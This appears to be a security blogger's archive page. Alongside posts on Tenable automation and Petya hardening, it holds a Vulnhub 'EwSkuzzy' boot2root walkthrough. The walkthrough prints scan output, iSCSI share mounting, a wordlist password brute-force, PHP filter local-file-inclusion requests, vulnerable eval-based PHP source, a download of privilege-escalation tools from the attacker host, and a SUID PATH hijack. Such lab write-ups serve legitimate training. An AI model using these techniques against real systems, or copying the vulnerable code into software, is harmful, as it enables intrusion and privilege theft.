pyTenable Python API Wrapper

Not all Infosec Professionals are Programmers by trade. I encourage anyone working in Infosec to learn as much programming as possible but there are still a lot of Jobs that don’t require in depth Programming and Programming-Architecture Skills.

If you are like me and know your way around Python Scripts and the small Program here and there you might appreciate a simplified API Wrapper for the Tenable RESTful APIs located here:

https://github.com/tenable/pyTenable

And its documentation located here: https://pytenable.readthedocs.io/en/latest/

Some of the Scripts and Examples I will post here will be based on the pyTenable API Wrapper.

Please Note: you don’t have to use this, you can always look at the functionality and implement it completely without this wrapper on your own!

Feel free to get inspired by my examples but always:

  • Check if they fit your needs or need to be edited!
  • Review their functionality and never use them in production without testing them prior in lab or uncritical environment!
  • Alter, edit and advance them!
Posted in tenable | Tagged , ,

New Life in an old Blog!

I started this Blog to document and share my experience with and around Checkpoint Firewalls.

Since then I have switched Jobs and have not touched a Checkpoint Firewall in years!

However I became a Tenable-Partner and touched and built a lot of Tenable Setups (mostly SecurityCenters) so I have gathered a lot of Knowledge and BestPractices KnowHow around Tenable’s Product suites.

So stay tuned for new Life in this old blog and regular updates around Tenable’s products and API automation.

Posted in miscellaneous, tenable | Tagged

Assemble your own affordable Treadmill Desk!

Ever since I listened to Neal Stephenson’s Book Reamde I wanted to get a Treadmill Desk!

A long time I thought you need to buy expensive Ones for a couple thousand Dollars like the Uplift Desk ones.

Now I found out that you can assemble a decent one for just 550 Euros with:

  • Ikea Desk SKARSTA – 199€
  • And a Cheap LONTEK Treadmill from Rakuten – 350€

The result looks decent and works like a charm:

IMG_5757

If you don’t think you can work effectively while walking please go and try out somewhere! It works pretty well and your are not sitting the entire day!

I know this sounds a lot like Advertisement but all links above are without any affiliation and I just want to share my experience with the Desk!

BR
Sebastian

Posted in miscellaneous

Published my Second Book: Penetration Testing mit mimikatz

Hello,

since beginning of July 2019 my new Book “Penetration Testing mit mimikatz” is available directly from the Publisher mitp and the usual Shops like Amazon!

Bildschirmfoto 2019-06-06 um 18.27.41 Kopie

Keep on Roasting!

 

Posted in Books

I am the Evil!

Update July 30th 2018: seems that Microsofts SmartScreen Team fixed this swiftly after my review request. So props to Microsoft. Misclassifications can happen – a swift and productive response is all one can ask for!

Microsoft seems to be thinking I am Evil…

I just want to assure everyone that I am not hosting any kind of malware on my site and do not collect any personal information in my Blog.

This blog is purely to write about IT Security related topics and to publish my CV.

The WordPress is hosted and beeing kept up to date by wordpress.com and uses no custom Plugins on my part – so a basic vanilla wordpress.com Blog.

I cannot vouch for wordpress.com’s hosting but I think that a wordpress focused professional hoster will keep the best patchlevel possible for wordpress.

I imagine some overeager Proxy Admin saw evil haxing Tools and reported my site as malicious. I already requested a reevaluation from Microsofts SmartScreen Team and hope this will get resolved quickly!

BR
Sebastian

Bildschirmfoto 2018-07-27 um 12.15.55

Posted in miscellaneous

Controls to prevent Petya Outbreak and harden your environment in the future

A quick post with a collective list of measures that can be undertaken to harden your environment to prevent a Petya outbreak.

Backups, Backups, Backups and Restore!

  • With the current Ransomeware threats a working backup and even more important a working Restore saves you from death!
  • Seriously, check if you are really able to restore critical servers.
  • VM Snapshot based backup / restore tends to be much faster than oldschool file based backups.
  • Databases tend to need special attention when it comes to backup and restore.
    • How much data will you lose between backup cycles?

AV :-)

Prevent spread via MS17-010

  • Patch your shit!
    • WSUS
    • Proper Patch management Processes
    • think of 3rd party tools/patches to!
  • Use Vulnerability Scanners and Management products like Tenable Nessus and Security Center (or others…) to keep an constant eye on critical vulnerabilities.
    • MS17-010 is now older than 3 months!
  • Disable SMBv1
    • MS17-010 is based on SMBv1 vulnerabilities.
    • Further vulnerabilities in this legacy protocol could come along in the future!
  • Block inbound TCP139/445 on machines where possible
    • At least between clients and client subnets!
    • Clients should not need to access each other via SMB – they should rather use central file and printservers
    • You obviously have to keep those ports open on fileservers and other servers where those Ports are required.
    • Be Cautious to not break Fileserver / DFS Sync
  • NEVER expose TCP 135/139/445 to the internet!

Prevent PSexec + WMI Spread:

  • Block inbound TCP 135, 139, 445 on machines where possible
  • Use AppLocker / SRP to prevent creation of C:\Windows\perfc.dat
  • Make sure to limit privileges:
    • Do not work with Admin accounts
    • Never work with Domain Admin account if not absolutely necessary
    • Users should have no permissions on servers / not be able to log onto servers
    • Admins/Supporters should have special accounts for supporting and not do their daily routine with accounts that have admin rights on all clients
    • Do not use the same local admin creds on all systems
  • Prevent future PTH (heavy read):

Inform your users / Heighten awareness

  • Even if you don’t often inform your users – now is the time!
  • Ask everyone to be carefull and cautious
  • Ask users double check strange mails with IT-Support
    • Be able to help users swiftly that contact IT-Support for this
  • Show them pictures of Inital Vectors (if available – Mails, attachments)
  • Show them pictures of compromised systems
  • Ask users to disconnect and power-off compromised systemes immediately to prevent spreading
    • This Could lead to data loss for some ransomware that leaves keys in memory
    • However spreading is probably bigger issue!
    • It’s your decision in the end!

 

This list is obviously not all you can and should do for proper IT-Security Management!
This controls however are meant to specifically help with the current Petya outbreak.

Did I miss something vital?

Put it in the comments below and I will add it!

BR
Sebastian

 

 

Posted in miscellaneous | Leave a comment

Ewwww SCSI (EwSkuzzy @vulnhub)

Another Vulnhub VM: EwSkuzzy form @vortexau

Bildschirmfoto 2017-03-21 um 12.17.23.png

So last evening I decided its time for another Vulnhub. Luckily someone in #vulnhub was discussing EwSkuzzy!

As the vulnhub.com description warned that it might be problematic in VMware I was glad that VMware Fusion imported it just fine!

Only issue I ran into was that no network interface was configured in VMware by default so I was happy to see that singleuser mode was not protected by password and I could quickly swap the default interface name in /etc/network/interfaces for VMwares ens33.

flag1{unpassworded iSCSI share}

While downloading the VM I thought “skuzzy sounds like SCSI! :D

And I was amused to get the following nmap output:

root@kali:~# nmap -p- -sC -sV 192.168.53.129

Starting Nmap 7.40 ( https://nmap.org ) at 2017-03-21 12:26 CET
Nmap scan report for 192.168.53.129
Host is up (0.00012s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 89:c2:ae:12:d6:c5:19:4e:68:4a:28:e9:06:bd:9c:19 (RSA)
|_ 256 f0:0c:ae:37:10:d3:6d:a2:85:3a:77:04:06:94:f8:0a (ECDSA)
80/tcp open http nginx
|_http-server-header: nginx
|_http-title: Welcome!
3260/tcp open iscsi?
|_iscsi-info: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:DF:D6:01 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.26 seconds

iSCSI \o/

I actually already found insecure iSCSI Shares in Pentests in the wild so I was very curios to see if there is a password unprotected iSCSI Share available on this port.

Lets enumerate:

root@kali:~# iscsiadm -m discovery -t st -p 192.168.53.129
192.168.53.129:3260,1 iqn.2017-02.local.skuzzy:storage.sys0

root@kali:~# iscsiadm -m node -p 192.168.53.129 --login --target iqn.2017-02.local.skuzzy:storage.sys0
Logging in to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.53.129,3260] (multiple)
Login to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.53.129,3260] successful.

root@kali:~# mount /dev/sdb /media/temp
root@kali:~# ls /media/temp
bobsdisk.dsk flag1.txt lost+found

root@kali:/media/temp# cat flag1.txt
Congratulations! You've discovered the first flag!

flag1{c0abc15976b98a478150c900ebb0c86f0327f4dd}

Let's see how you go with the next one...

We’ve got flag!

flag2{sensitive data in unpassworded ISCSI share}

What do we have here:

root@kali:/media/temp# mount bobsdisk.dsk /media/temp1
root@kali:/media/temp# ls /media/temp1
lost+found ToAlice.csv.enc ToAlice.eml

root@kali:/media/temp# file /media/temp1/ToAlice*
/media/temp1/ToAlice.csv.enc: openssl enc'd data with salted password
/media/temp1/ToAlice.eml: ASCII text, with very long lines

Lets see what bob has to say to alice:

G'day Alice,

You know what really annoys me? How you and I ended up being used, like some kind of guinea pigs, by the RSA crypto wonks as actors in their designs for public key crypto... I don't recall ever being asked if that was ok? I never got even one cent of royalties from them!? RSA have made Millions on our backs, and it's time we took a stand!

Starting now, today, immediately, I'm never using asymmetric key encryption again, and it's all symmetric keys from here on out. All my files and documents will be encrypted with that popular symmetric crypto algorithm. Uh. Yeah, I can't pronounce its original name. I don't even know what the letters in its other name stand for - but really - that's not important. A bloke at my local hackerspace says its the beez kneez, ridgy-didge, real-deal, the best there is when it comes to symmetric key crypto, he has heaps of stickers on his laptop so I guess it means he knows, right? Anyway, he said it won some big important competition among crypto geeks in October 2000? Lucky Y2K didn't happen then, I suppose or that would have been one boring party!

Anyway this algorithm sounded good to me. I used the updated version that won the competition.

You know what happened to me this morning? My kids, the little darlings, had spilled their fancy 256 bit Lego kit all over the damn floor. Sigh. Of course I trod on it making my coffee, the level of pain really does ROCKYOU to the core when it happens! It's hard to stay mad though, I really love Lego, the way those blocks chain togeather really does make them work brilliantly. My favourite new Spanish swear came in handy when this happened... supercalifragilisticoespialidoso !

Anyway, given I'm not not using asymmetric crypto any longer, I destroyed my private key, so the public key you have for me may as well be deleted. I've got some notes for you which might help in your current case, I've encrypted it using my new favourite symmetric key crypto algorithm, it should be on the disk with this note. The key is, well, one awesome word I learnt in my recent Spanish classes!

Give me a shout when you're down this way again, we'll catch up for coffee (once the Lego is removed from my foot) :)

Cheers,

Bob.

PS: Oh, before I forget, the hacker-kid who told me how to use this new algorithm, said it was very important I used the command option -md sha256 when decrypting. Why? Who knows? He said something about living on the bleeding-edge...

PPS: flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}

flag3{not protection encryption keys}

Okay from Bobs mail to Alice we know:

  • Bob does not like to be used as a crypto-rolemodel
  • He used symetric crypto (openssl) to encrypt his attachment to alice
  • His password was likely  “supercalifragilisticoespialidoso”
  • This password likely also exists in the rockyou wordlist

So lets verify this:

To bruteforce the password I used “brutforce-salted-openssl” from this github repo.

One git clone later:

root@kali:/opt/bruteforce-salted-openssl# bruteforce-salted-openssl -t 9 -f /usr/share/wordlists/rockyou.txt -d sha256 -c aes256 /media/temp1/ToAlice.csv.enc
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

Tried passwords: 3475548
Tried passwords per second: 868887.000000
Last tried password: supercOOl
Password candidate: supercalifragilisticoespialidoso

Supercali-BINGO!

Now lets look inside the csv:

root@kali:/media/temp# openssl enc -d -aes256 -salt -in /media/temp1/ToAlice.csv.enc -out /tmp/output.csv
enter aes-256-cbc decryption password:

root@kali:/media/temp# cat /tmp/output.csv 
Web Path,Reason
5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site! 
c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?

Note for later how it says that flag3 is a URL. How long is this string?

flag4{beating the old php pony}

A nice decoy site on the first URL from the CSV:

Bildschirmfoto 2017-03-21 um 13.36.03.png

Some more decoy b64 string in the source, however I leave this for the eager writers to document ;)

Lets look behind door nr. 2:

Bildschirmfoto 2017-03-21 um 13.39.20.png

Nice! A selfwritten php website, this looks promising! :)

Oh no he did’t:

 

 

OH NOES *shockedface*:

Bildschirmfoto 2017-03-21 um 13.44.24.png

LFI’ception!

My guess is that the $_GET[‘p’] is a php include so lets try to read some sourcecode php filter style:

root@kali:/media/temp# curl http://192.168.53.129/c2444910794e037ebd8aaf257178c90b/index.php?p=php://filter/convert.base64-encode/resource=flag.php
<!DOCTYPE html>
<html>
<head>
<title>I think you're on the right track now!</title>
<style>
div.container {
width: 100%;
border: 1px solid gray;
}

header, footer {
padding: 1em;
...
...
boring, shortened
...
...
overflow: hidden;
}
</style>
</head>
<body>
<div class="container">

&nbsp;

<header>
<h1>My great web-app!</h1>
&nbsp;

</header>&nbsp;
<ul>
<ul>
 	<li><a href="?p=welcome">Welcome</a></li>
</ul>
</ul>
&nbsp;
<ul>
<ul>
 	<li><a href="?p=flag">Flag</a></li>
</ul>
</ul>
&nbsp;
<ul>
<ul>
 	<li><a href="?p=party">Let's Party!</a></li>
</ul>
</ul>
&nbsp;
<ul>
<ul>
 	<li><a href="?p=reader">Feed Reader</a></li>
</ul>
</ul>
&nbsp;

&nbsp;

<article>PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmxhZzwvaDE+CjxwPkhtbS4gTG9va2luZyBmb3IgYSBmbGFnPyBDb21lIG9uLi4uIEkgaGF2ZW4ndCBtYWRlIGl0IGVhc3kgeWV0LCBkaWQgeW91IHRoaW5rIEkgd2FzIGdvaW5nIHRvIHRoaXMgdGltZT88L3A+CjxpbWcgc3JjPSJ0cm9sbGZhY2UucG5nIiAvPgo8P3BocAovLyBPaywgb2suIEhlcmUncyB5b3VyIGZsYWchIAovLwovLyBmbGFnNHs0ZTQ0ZGIwZjFlZGMzYzM2MWRiZjU0ZWFmNGRmNDAzNTJkYjkxZjhifQovLyAKLy8gV2VsbCBkb25lLCB5b3UncmUgZG9pbmcgZ3JlYXQgc28gZmFyIQovLyBOZXh0IHN0ZXAuIFNIRUxMIQovLwovLyAKLy8gT2guIFRoYXQgZmxhZyBhYm92ZT8gWW91J3JlIGdvbm5hIG5lZWQgaXQuLi4gCj8+Cg==</article>&nbsp;

<footer>Hack the Planet!</footer>&nbsp;

</div>
&lt;/body&gt; &lt;/html&gt;

&nbsp;

Lets look at the source of flag.php:

root@kali:/media/temp# echo "PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmxhZzwvaDE+CjxwPkhtbS4gTG9va2luZyBmb3IgYSBmbGFnPyBDb21lIG9uLi4uIEkgaGF2ZW4ndCBtYWRlIGl0IGVhc3kgeWV0LCBkaWQgeW91IHRoaW5rIEkgd2FzIGdvaW5nIHRvIHRoaXMgdGltZT88L3A+CjxpbWcgc3JjPSJ0cm9sbGZhY2UucG5nIiAvPgo8P3BocAovLyBPaywgb2suIEhlcmUncyB5b3VyIGZsYWchIAovLwovLyBmbGFnNHs0ZTQ0ZGIwZjFlZGMzYzM2MWRiZjU0ZWFmNGRmNDAzNTJkYjkxZjhifQovLyAKLy8gV2VsbCBkb25lLCB5b3UncmUgZG9pbmcgZ3JlYXQgc28gZmFyIQovLyBOZXh0IHN0ZXAuIFNIRUxMIQovLwovLyAKLy8gT2guIFRoYXQgZmxhZyBhYm92ZT8gWW91J3JlIGdvbm5hIG5lZWQgaXQuLi4gCj8+Cg==" | base64 -d
&lt;?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?&gt;
&lt;h1&gt;Flag&lt;/h1&gt;
&lt;p&gt;Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?&lt;/p&gt;
&lt;img src="trollface.png" /&gt;
&lt;?php
// Ok, ok. Here's your flag! 
//
// flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
// 
// Well done, you're doing great so far!
// Next step. SHELL!
//
// 
// Oh. That flag above? You're gonna need it... 
?&gt;

We’ve got flag!

And another hint!

flag5{from shell over suid to root}

Last flag it is!

But First we need shell! I like shells!

Lets look at this strange reader.php:

root@kali:/media/temp# curl http://192.168.53.129/c2444910794e037ebd8aaf257178c90b/index.php?p=php://filter/convert.base64-encode/resource=reader.php
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
...nothing to see here, move along...
&lt;/head&gt;
&lt;body&gt;</pre>
<div class="container">

&nbsp;

<header>
<h1>My great web-app!</h1>
&nbsp;

</header>&nbsp;
<ul>
<ul>
 	<li><a href="?p=welcome">Welcome</a></li>
</ul>
</ul>
&nbsp;
<ul>
<ul>
 	<li><a href="?p=flag">Flag</a></li>
</ul>
</ul>
&nbsp;
<ul>
<ul>
 	<li><a href="?p=party">Let's Party!</a></li>
</ul>
</ul>
&nbsp;
<ul>
<ul>
 	<li><a href="?p=reader">Feed Reader</a></li>
</ul>
</ul>
&nbsp;

&nbsp;

<article>PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmVlZCBSZWFkZXI8L2gxPgo8P3BocAppZihpc3NldCgkX0dFVFsndXJsJ10pKSB7CiAgICAkdXJsID0gJF9HRVRbJ3VybCddOwp9IGVsc2UgewogICAgcHJpbnQoIjxhIGhyZWY9XCI/cD1yZWFkZXImdXJsPWh0dHA6Ly8xMjcuMC4wLjEvYzI0NDQ5MTA3OTRlMDM3ZWJkOGFhZjI1NzE3OGM5MGIvZGF0YS50eHRcIj5Mb2FkIEZlZWQ8L2E+Iik7Cn0KCmlmKGlzc2V0KCR1cmwpICYmIHN0cmxlbigkdXJsKSAhPSAnJykgewoKICAgIC8vIFNldHVwIHNvbWUgdmFyaWFibGVzLgogICAgJHNlY3JldG9rID0gZmFsc2U7CiAgICAka2V5bmVlZGVkID0gdHJ1ZTsKCiAgICAvLyBMb2NhbGhvc3QgYXMgYSBzb3VyY2UgZG9lc24ndCBuZWVkIHRvIHVzZSB0aGUga2V5LgogICAgaWYocHJlZ19tYXRjaCgiI15odHRwOi8vMTI3LjAuMC4xIyIsICR1cmwpKSB7CiAgICAgICAgJGtleW5lZWRlZCA9IGZhbHNlOwogICAgICAgICRzZWNyZXRvayA9IHRydWU7CiAgICB9CgogICAgLy8gSGFuZGxlIHRoZSBrZXkgdmFsaWRhdGlvbiB3aGVuIGl0J3MgbmVlZGVkLgogICAgaWYoJGtleW5lZWRlZCkgewogICAgICAgICRrZXkgPSAkX0dFVFsna2V5J107CiAgICAgICAgaWYoaXNfYXJyYXkoJGtleSkpIHsKICAgICAgICAgICAgZGllKCJBcnJheSB0cmljayBpcyBtaXRpZ2F0ZWQgOykiKTsKICAgICAgICB9CiAgICAgICAgaWYoaXNzZXQoJGtleSkgJiYgc3RybGVuKCRrZXkpID09ICc0NycpIHsKCSAgICAkaGFzaGVka2V5ID0gaGFzaCgnc2hhMjU2JywgJGtleSk7CiAgICAgICAgICAgICRzZWNyZXQgPSAiNWNjZDBkYmRlZWZiZWUwNzhiODhhNmU1MmRiOGMxY2FhOGRkODMxNWYyMjdmZTFlNmFlZTZiY2I2ZGI2MzY1NiI7CgogICAgICAgICAgICAvLyBJZiB5b3UgY2FuIHVzZSB0aGUgZm9sbG93aW5nIGNvZGUgZm9yIGEgdGltaW5nIGF0dGFjawogICAgICAgICAgICAvLyB0aGVuIGdvb2QgbHVjayA6KSBCdXQuLiBZb3UgaGF2ZSB0aGUgc291cmNlIGFueXdheSwgcmlnaHQ/IDopIAoJICAgIGlmKHN0cmNtcCgkaGFzaGVka2V5LCAkc2VjcmV0KSA9PSAwKSB7CiAgICAgICAgICAgICAgICAkc2VjcmV0b2sgPSB0cnVlOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZGllKCJTb3JyeS4uLiBBdXRoZW50aWNhdGlvbiBmYWlsZWQuIEtleSB3YXMgaW52YWxpZC4iKTsKCSAgICB9CgogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGRpZSgiQXV0aGVudGljYXRpb24gaW52YWxpZC4gWW91IG1pZ2h0IG5lZWQgYSBrZXkuIik7CiAgICAgICAgfQogICAgfQoKICAgIC8vIEp1c3QgdG8gbWFrZSBzdXJlIHRoZSBhYm92ZSBrZXkgY2hlY2sgd2FzIHBhc3NlZC4KICAgIGlmKCEkc2VjcmV0b2spIHsKICAgICAgICBkaWUoIlNvbWV0aGluZyB3ZW50IHdyb25nIHdpdGggdGhlIGF1dGhlbnRpY2F0aW9uIHByb2Nlc3MiKTsKICAgIH0KCiAgICAvLyBOb3cgbG9hZCB0aGUgY29udGVudHMgb2YgdGhlIGZpbGUgd2UgYXJlIHJlYWRpbmcsIGFuZCBwYXJzZQogICAgLy8gdGhlIHN1cGVyIGF3ZXNvbWVuZXNzIG9mIGl0cyBjb250ZW50cyEKICAgICRmID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7CgogICAgJHRleHQgPSBwcmVnX3NwbGl0KCIvIyN0ZXh0IyMvcyIsICRmKTsKCiAgICBpZihpc3NldCgkdGV4dFsnMSddKSAmJiBzdHJsZW4oJHRleHRbJzEnXSkgPiAwKSB7CiAgICAgICAgcHJpbnQoJHRleHRbJzEnXSk7CiAgICB9CgogICAgcHJpbnQgIjxiciAvPjxiciAvPiI7CgogICAgJHBocCA9IHByZWdfc3BsaXQoIi8jI3BocCMjL3MiLCAkZik7CgogICAgaWYoaXNzZXQoJHBocFsnMSddKSAmJiBzdHJsZW4oJHBocFsnMSddKSA+IDApIHsgCiAgICAgICAgZXZhbCgkcGhwWycxJ10pOwogICAgICAgIC8vICJJZiBFdmFsIGlzIHRoZSBhbnN3ZXIsIHlvdSdyZSBhc2tpbmcgdGhlIHdyb25nIHF1ZXN0aW9uISIgLSBTRwogICAgICAgIC8vIEl0IGh1cnRzIG1lIHRvIHdyaXRlIGluc2VjdXJlIGNvZGUgbGlrZSB0aGlzLCBidXQgaXQgaXMgaW4gdGhlCiAgICAgICAgLy8gbmFtZSBvZiBlZHVjYXRpb24sIGFuZCBGVU4sIHNvIEknbGwgbGV0IGl0IHNsaWRlIHRoaXMgdGltZS4KICAgIH0KfQoK</article>&nbsp;

<footer>Hack the Planet!</footer>&nbsp;

</div>
&lt;/body&gt; &lt;/html&gt;

 

Bildschirmfoto 2017-03-21 um 13.51.56.png

Lets read it:

root@kali:/media/temp# echo "PD9w...insert long string here...KfQoK" | base64 -d
&lt;?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?&gt;
&lt;h1&gt;Feed Reader&lt;/h1&gt;
&lt;?php
if(isset($_GET['url'])) {
 $url = $_GET['url'];
} else {
 print("&lt;a href=\"?p=reader&amp;url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt\"&gt;Load Feed&lt;/a&gt;");
}

if(isset($url) &amp;&amp; strlen($url) != '') {

 // Setup some variables.
 $secretok = false;
 $keyneeded = true;

 // Localhost as a source doesn't need to use the key.
 if(preg_match("#^http://127.0.0.1#", $url)) {
 $keyneeded = false;
 $secretok = true;
 }

 // Handle the key validation when it's needed.
 if($keyneeded) {
 $key = $_GET['key'];
 if(is_array($key)) {
 die("Array trick is mitigated ;)");
 }
 if(isset($key) &amp;&amp; strlen($key) == '47') {
 $hashedkey = hash('sha256', $key);
 $secret = "5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656";

 // If you can use the following code for a timing attack
 // then good luck :) But.. You have the source anyway, right? :) 
 if(strcmp($hashedkey, $secret) == 0) {
 $secretok = true;
 } else {
 die("Sorry... Authentication failed. Key was invalid.");
 }

 } else {
 die("Authentication invalid. You might need a key.");
 }
 }

 // Just to make sure the above key check was passed.
 if(!$secretok) {
 die("Something went wrong with the authentication process");
 }

 // Now load the contents of the file we are reading, and parse
 // the super awesomeness of its contents!
 $f = file_get_contents($url);

 $text = preg_split("/##text##/s", $f);

 if(isset($text['1']) &amp;&amp; strlen($text['1']) &gt; 0) {
 print($text['1']);
 }

 print "&lt;br /&gt;&lt;br /&gt;";

 $php = preg_split("/##php##/s", $f);

 if(isset($php['1']) &amp;&amp; strlen($php['1']) &gt; 0) { 
 eval($php['1']);
 // "If Eval is the answer, you're asking the wrong question!" - SG
 // It hurts me to write insecure code like this, but it is in the
 // name of education, and FUN, so I'll let it slide this time.
 }
}

So we can probably do RFI with the feed reader URL:

http://192.168.53.129/c2444910794e037ebd8aaf257178c90b/index.php?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt

Lets test without the key:

Bildschirmfoto 2017-03-21 um 13.57.23.png

Now lets test a random 47digit key:

Bildschirmfoto 2017-03-21 um 13.59.15.png

Now if we only had a 47 digit key already from somewhere 🤔

Btw: I tried to bruteforce the sha256 hash from the php source but when hashcat told me 47 digits will take >10 years and I had no luck with rockyou.txt or linkedin.txt I remembered all the previous spoiler/hints:

Bildschirmfoto 2017-03-21 um 14.02.06.png

Bildschirmfoto 2017-03-21 um 14.02.26.png

Bildschirmfoto 2017-03-21 um 14.02.38.png

Guess what? The entire flag-string is 47 digits and with flag4{…} it finally worked:

Bildschirmfoto 2017-03-21 um 14.06.44.png

So lets provide some php code in the correct format the reader.php source expects:

Bildschirmfoto 2017-03-21 um 14.09.07.png

And we’ve got shell:

Bildschirmfoto 2017-03-21 um 14.21.09.png

Now lets do some basic privesc enumeration:

$ cd /tmp
$ wget http://192.168.53.131/linux-privtools.tar
--2017-03-22 00:01:56-- http://192.168.53.131/linux-privtools.tar
Connecting to 192.168.53.131:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 133120 (130K) [application/x-tar]
Saving to: 'linux-privtools.tar'

 0K .......... .......... .......... .......... .......... 38% 29.6M 0s
 50K .......... .......... .......... .......... .......... 76% 28.6M 0s
 100K .......... .......... .......... 100% 28.5M=0.004s

2017-03-22 00:01:56 (29.0 MB/s) - 'linux-privtools.tar' saved [133120/133120]

$ tar xf linux-privtools.tar
$ chmod +x LinEnum.sh 

#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# 

Debug Info
thorough tests = enabled


Scan started at:
Wed Mar 22 00:05:56 ACDT 2017


### SYSTEM ##############################################
Kernel information:
Linux skuzzy 4.4.0-64-generic #85-Ubuntu SMP Mon Feb 20 11:50:30 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux


Kernel information (continued):
Linux version 4.4.0-64-generic (buildd@lgw01-56) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.4) ) #85-Ubuntu SMP Mon Feb 20 11:50:30 UTC 2017


Specific release information:
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.2 LTS"
NAME="Ubuntu"
VERSION="16.04.2 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.2 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial


Hostname:
skuzzy

...
Lots more findings!
...

SUID files:
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/passwd
/usr/bin/sudo
/bin/fusermount
/bin/mount
/bin/su
/bin/ntfs-3g
/bin/ping
/bin/ping6
/bin/umount
/opt/alicebackup
...

Here we go, a SUID file called alicebackup!

Lets strings it:

$ strings /opt/alicebackup 
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
__cxa_finalize
setgid
__libc_start_main
_ITM_deregisterTMCloneTable
__gmon_start__
_Jv_RegisterClasses
_ITM_registerTMCloneTable
GLIBC_2.2.5
=i 
=J 
AWAVA
AUATL
[]A\A]A^A_
scp /tmp/special bob@alice.home:~
;*3$"
GCC: (Debian 6.3.0-6) 6.3.0 20170205
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.6962
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
root.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
_edata
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
setgid@@GLIBC_2.2.5
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
setuid@@GLIBC_2.2.5
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment

What do we have here, a relative call to scp:

scp /tmp/special bob@alice.home:~

Lets export /tmp to path and place our own scp file there:

Bildschirmfoto 2017-03-21 um 14.43.05.png

The end…

This was a really fun VM, straight forward or nice hints at the right moments.

Thanks alot @vortexau!

BR
Sebastian

 

Posted in boot2root, vulnhub | Leave a comment

BND Forensic Challenge – Cyber all the things

When the German Intelligence Service: Bundesnachrichtendienst (short BND) releases a hacking challenge as job application all bad media storm breaks lose:

Bildschirmfoto 2017-03-03 um 00.13.14.png

“Solve this challenge to become a spy”

I did not care much for the RE challenge a couple of months ago but as someone showed me an article at work over lunch from a Linux Terminal I knew basic pentesting skills need application!

And the sign said, ‘ Long haired freaky people need not apply’

So lets get this started! Scenario:

Bildschirmfoto 2017-03-02 um 23.09.48.png

Basically it says that a friendly intelligence service asks for help in a case of a hacked state insurance companies webserver that got owned.

  • You are provided with a lowpriv user (hacker:abcd1234)
  • Look for the flaw in the webapp
  • Attackers stored loot from other companies on the server

